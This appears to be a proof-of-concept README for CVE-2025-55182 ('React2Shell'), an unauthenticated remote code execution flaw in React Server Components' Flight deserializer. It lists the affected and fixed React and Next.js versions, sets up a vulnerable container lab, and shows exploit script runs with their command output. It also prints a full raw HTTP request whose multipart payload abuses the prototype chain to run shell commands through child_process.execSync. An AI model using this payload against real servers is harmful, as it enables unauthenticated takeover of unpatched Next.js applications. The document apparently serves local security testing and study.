
CVE-2025-55182 — React2Shell
CVE‑2025‑55182 ("React2Shell") React Server Components के Flight प्रोटोकॉल डीसीरियलाइज़र में मौजूद CVSS 10.0 की बिना प्रमाणीकरण के RCE कमज़ोरी है।
React के Flight प्रोटोकॉल क्लाइंट के अंदर reviveModel फ़ंक्शन ऑब्जेक्ट कुंजियों को hasOwnProperty से सत्यापित नहीं करता, जिससे हमलावर __proto__ → constructor → Function constructor की प्रोटोटाइप श्रृंखला का अनुसरण करके मनमाना JavaScript चला सकता है।
Next-Action हेडर के साथ एक multipart POST के माध्यम से प्रमाणीकरण से पहले डीसीरियलाइज़ेशन होता है, इसलिए बिना प्रमाणीकरण के हमला किया जा सकता है।
| कम्पोनेंट | कमज़ोर संस्करण | सुधार संस्करण |
|---|---|---|
| React | 19.0.0 – 19.2.0 | 19.2.1 |
| Next.js | ≤ 16.0.6 | 16.0.7 |
CVE-2025-55182/
├── flake.nix # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py # エクスプロイトスクリプト
└── target/ # 脆弱な Next.js アプリ
├── Containerfile # podman ビルド用
├── package.json # [email protected] / [email protected]
├── next.config.ts
├── tsconfig.json
└── app/
├── layout.tsx
└── page.tsx
nix develop
podman build -t cve-2025-55182 target/
podman run -d -p 3000:3000 --name vuln cve-2025-55182
python poc.py http://localhost:3000 "id"
प्रतिक्रिया JSON के digest फ़ील्ड में कमांड निष्पादन परिणाम वापस आता है।
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)
# ファイル書き込み
python poc.py http://localhost:3000 "touch /tmp/pwned"
# コンテナ内で確認
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # こっちでも可能
localhost:8080 पर Burp चल रहा है मानते हुए
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"
"$@0"
--19a7dba25a68483f4234c90a07a425a2--
podman stop vuln && podman rm vuln